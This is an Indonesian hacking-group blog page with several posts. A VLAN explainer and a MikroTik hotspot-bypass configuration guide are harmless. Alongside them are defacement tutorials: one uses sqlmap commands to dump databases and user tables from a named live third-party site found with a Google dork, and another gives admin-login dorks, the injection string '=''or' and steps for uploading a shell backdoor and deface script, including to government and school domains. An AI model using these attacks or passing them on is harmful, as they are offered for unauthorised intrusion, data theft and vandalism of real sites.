Flow -  Progress

Apa Itu VLAN dan Apa Fungsi VLAN

OKeee gan :V Kembali Lagi Sama w admin tergannsss :V kali ini mimin bakal Kasih Tau Apa Itu Vlan Dan Fungsi Dari Vlan Itu
======================================================================

A: BANG VLAN ITU APA SIH ?
B: BANG GUNANYA VLAN APA ?

OKee Banyak Orang yg nanya gitu :V

Disini w akan balas pertanyaan yg orang A tanya :
" Virtual LAN atau disingkat VLAN merupakan sekelompok perangkat pada satu LAN atau lebih yang dikonfigurasikan sehingga dapat berkomunikasi seperti halnya bila perangkat tersebut terhubung ke jalur yang sama, padahal sebenarnya perangkat tersebut berada pada sejumlah segmen LAN yang berbeda.

Dan w akan Bales pertanyaan yg orang B tanya : 
"
  • Menimalisir kemungkinan terjadinya konflik IP yang terlalu banyak.
  • Mencegah terjadinya collision domain (tabrakan domain).
  • Mengurangi tingkat vulnerabilities.( kerentanan )
"


Itu Dia Jawaban Dari Kedua Pertanyaan diatas.


CONTOH VLAN PADA CISCO PACKET TRACER


Oke mungkin itu saja dari mimin nanti mimin bakal post cara membuat vlannya okee see you :* 
Share:

Deface Dengan SQLI Dengan Sqlmap

Yooo Gaannn :V Ketemu Lagi Sama w Admin Terganss ea ea ea :V
Kali Ini Mimin Bakal Kasih Tutor Gimana Cara Deface Dengan Sqlinjection Dengan Sqlmap Okee
Langsung Aja Tanpa Banyak Bacod :V

Dork : "inurl:/php?id= intext:by Fajri.com"

Exploit : Mikir Sendiri Lah Gan V: biasa kalo eskiel pakek ( ' ) Petik Belakang ID

Untuk Lebih Simple Kita Gunakan SQLMAP :V

W saranin pakek termux / Linux / gitbash ya kak :*

Live Target : http://www.ergo-furniture.com/products.php?id=113

 ======================================
     Perhatian !

-u = untuk url yg dimasukan
--dbs = untuk melihat database
-------------------------------------
-D = untuk melihat tables
--tables = untuk melihat isi tables
-------------------------------------
-T = untuk melihat Kolom
--Columns = untuk melihat isi Columns / KOLOM
-------------------------------------
-C = untuk dump
--dump = tampilkan isi dari dump

========================================

Buka SQLMAPNYA



root@cyb3r00q:/home/arikun/# cd sqlmap
root@cyb3r00q:/home/arikun/sqlmap# python sqlmap.py -u [ nama webnya ] --dbs 
abis itu enter

Jika Muncul Pertanyaan Tinggal Pilih Y aja okee :V Agak Lama ? Maklumi sadja okee gan
Biarkan Sadja OKee :v
OKee Itu Dia Kita Dapet dua database nya cuk :V

Langsung aja kita execute:V

root@cyb3r00q:/home/arikun/sqlmap# python sqlmap.py -u [ nama webnya ] -D [ nama db nya  ] --tables
 Abis Itu Enter Gan

OKee gan Jika Udah Jadi Gini nih

Itu Isi Dari Databasenya gan :*

Langsung Yg Kedua Kita Mau Lihat Yg Usersnya
Caranya

root@cyb3r00q:/home/arikun/sqlmap# python sqlmap.py -u [ nama webnya ] -D [ nama db nya  ] -T [ nama Tablesnya ] --columns 
biasa abis itu enter lagi
Kita mau lihat isi dari tables users



OKee jika udah bakal muncul gini
Itu isi dari tables users ada 4 columns okeee:V

Untuk Lebih Jelasnya Silahkan Lihat Video [ Klik Disini gan ] Jangan Lupa Like , Komen dan Subscribe yak :*

Thx Onii-chan >///<

Share:

SQL-INJECTION Dengan SqlMap

Yooo Gaaan :V Bertemu Lagi Sama W Admin Tergans :V Kali Ini Mimin Bakal Kasih Tutor Gimana Cara Deface Dengan Sql-injection Menggunakan SQLMAP :V

Sangat Mudah Sekali Oke Langsung Saja Ya Gaes :V

1. Internet
2. Sqlmap ( Kalo Belom ada Download )
3. Target :V
4. Kegantengan :v ( GAK PENTING :v)

Oke Langung Buka SQLMAPNYA. Gak Puya ? Gak Ngerti Installnya ? Gampang Kok
===================
Cara Install Sqlmap
===================
1. Install Python 2.7
     Untuk Pengguna Windows / Linux Yang Belum Terinstall Python Silahkan Download Di
Nih Klik Disini


2. Download Gitbash
     Untuk Pengguna Windows Download Gitbash Karena Sama Kek Terminal linux :V Nih Klik Disini Gan !


3. Download Sqlmap
     Setelah Udah Di download dan di install semua yg diatas Lalu kita Unduh Sqlmapnya Masuk ke Nih Disini Gan Sebelum Itu Buka Dulu Terminal / Gitbashnya !



Untuk Lebih Lengkapnya Silahkan KLIK Link Ini [ KLIK UNTUK MENONTON ]
Share:

BekasiSec Official Web Masih Maintenance

Jangan Lupa Kunjungi Web Resmi Kami Masih Dalam Tahap Perbaikan :*
Maklumlah Admin Lagi Sibuk Mulu :V 


Hehehe Nanti W Bakal Beliin Domain Deh :*

[  Kunjungi Ya Kak :* ] :*


BekasiSec Official Website Masih Maintenance


Share:

Cara Deface Poc Bypas Admin

CARA DEFACE BYPASS ADMIN:

 ASSALAMUALAIKUM WR.WB






Kali ini Saya akan membuat Tutorial Cara  Deface Poc Bypass Admin
Kalo Belum ada Yang tau Apa itu Deface Cek ( DISINI ) ya:)
Tutorial Deface Metode Bypass Admin
Bahan - bahan:

  • Dork (dibawah)
  • Shell backdoor (google banyak)
  • Script deface (google dan sesuai seleramu)
  • Koneksi Internet


• Dork
inurl:/admin/login.php"site:.com
inurl:/admin/index.php intext:username
inurl:/administrator.php

Jika bahan - bahanya sudah komplit, kita lanjut ke tutorialnya, simak :

1. Masuk ke google lalu salin salah satu dork di atas ke google, kemudian search (cari)

2. Nanti akan muncul banyak website, kalian pilih salah satu yang ingin di deface


3. Setelah kalian masuk ke websitenya, nanti akan muncul form login admin. Lalu kalian isi username dan passwordnya dengan, berikut ini

 '=''or'
Nb : tidak semua website vuln dengan exploit di atas, jika beruntung kalian akan dibawa masuk ke dashboard admin dari website tersebut.

4. Setelah masuk ke dashboard admin dari website tersebut, kita cari form buat upload shell backdoor, atau kalian bisa langsung upload script deface kalian sendiri.


5. Terakhir jika kalian sudah upload scriptnya/ shell backdorr kalian, untuk melihat hasilnya kalian bisa cek url tempat script deface kalian di upload/ada gambar kecil di atas kanan klik kanan maka akan ke buka tuh Script kalian atau shell kalian

Itulah tutorial cara 
Tutorial Deface Metode Bypass Admin buat kalian yang susah mencari web vuln nya, kalian bisa kembangin lagi dork yang sudah saya berikan. Di salah satu dork yang diatas terdapat domain (.com) di kata tersebut kalian bisa mengubahnya misal, net, go.id, sch.id dan masih banyak yang lainya.

Jika Tidak Mengerti Yuk Lihat Di Youtube Kami jangan Lupa Subcribe (Tonton Di Sin )i
Share:

Bypas Login Hotspot Mikrotik

Assalamualaikum Wr.Wb
.

Kali ini saya akan berbagi tentang bypass di mikrotik. Sebelumnya apa yang dimaksud bypass? berikut penjelasannya.

Semua routerOS Mikrotik jenis apapun sudah dilengkapi fitur hotspot. Pada fitur Hotspot yang telah disediakan  Management user/pengguna, Management bandwidth setiap user, Bypass user login Hotspot,  dan masih banyak lagi.
Kali ini kita akan membahas mengenai bypass Login Hotspot pada Mikrotik. Maksudnya untuk akses ke hotspot kita tidak perlu lagi memasukkan username dan password pada login hotspot

Bypass bisa dilakukan dengan beberapa cara, diantaranya:
IP Bindings = untuk terkoneksi tidak melewati proses autentikasi dari hotspot login, hal ini bisa dilakukan dengan menggunakan fitur IP bindings.
Walled Garden = User yang belum melewati proses autentikasi tapi bisa mengakses website tertentu. Misal, user yang belum terautentikasi bisa membuka website.
IP-Walled Garden =  Fungsinya hampir sama seperti Walled Garden tetapi dapat melakukan bypass terhadap resource yang lebih spesifik pada protocol dan port tertentu. Biasanya digunakan untuk melakukan bypass terhadap server local yang tidak memerlukan autentikasi.

Sebelumnya kita membutuhkan bahan berikut:

  1. Router
  2. Laptop/PC
  3. Winbox
  4. Koneksi internet
Langsung saja berikut langkah langkahnya:
 - IP Bindings

  •  Buka winbox
  • Masuk ke menu ip => Hotspot
  • Pindah ke Tab ip binding => Klik add(+)
  • Kemudian isikan MAC address dan pilih type.
    • Pada opsi type terdapat 3 parameter :
    • Blocked = Mac address yang didaftarkan dengan type ini otomatis tidak akan mendapatkan layanan hotspot.
    • Bypassed = Mac address yang didaftarkan dengan type ini tidak perlu melewati proses autentikasi.
    • Regular = Mac address yang didaftarkan dengan type ini akan melewati proses autentikasi seperti user biasa
Untuk bypas ip binding bisa dengan cara lain yaitu dengan memanfaatkan host yang sudah aktif. berikut caranya:
  • Pindah ke Tab Host dan Klik 2x pada host yang akan di beri bypass
  • Klik Make Binding
  • Secara otomatis mac address sudah terisi dan kita tinggal mengisi typenya saja.
- Walled Garden 
  • Klik menu IP => hotspot => Walled Garden => klik add(+)
  • Pada opsi Action pilih allow dan pada dst. host isikan alamat website yang bisa dibuka => klik apply => ok
- IP Walled Garden
  • Klik menu IP => hotspot => Walled Garden IP List => klik add(+)
  • Pada opsi Action pilih accept => Protocol pilih tcp => Dst. Port isikan 20-21
Selesai sudah konfigurasi bypass di mikrotik kali ini. Semoga bermanfaat. Dengan menggunakan bypass ini kita tidak perlu lagi login hotspot karena MAC address kita telah terdaftar di mikrotik kita untuk tidak login hotspot..
Sekian dan terimakasih..
Share:

SafeLinku

SafelinkU | Shorten your link and earn money

Popular Posts

Pengunjung

Yang Mengikuti

Translate

Weekly post

Recent Posts

Pages

Thanks All Team Cyber Indonesian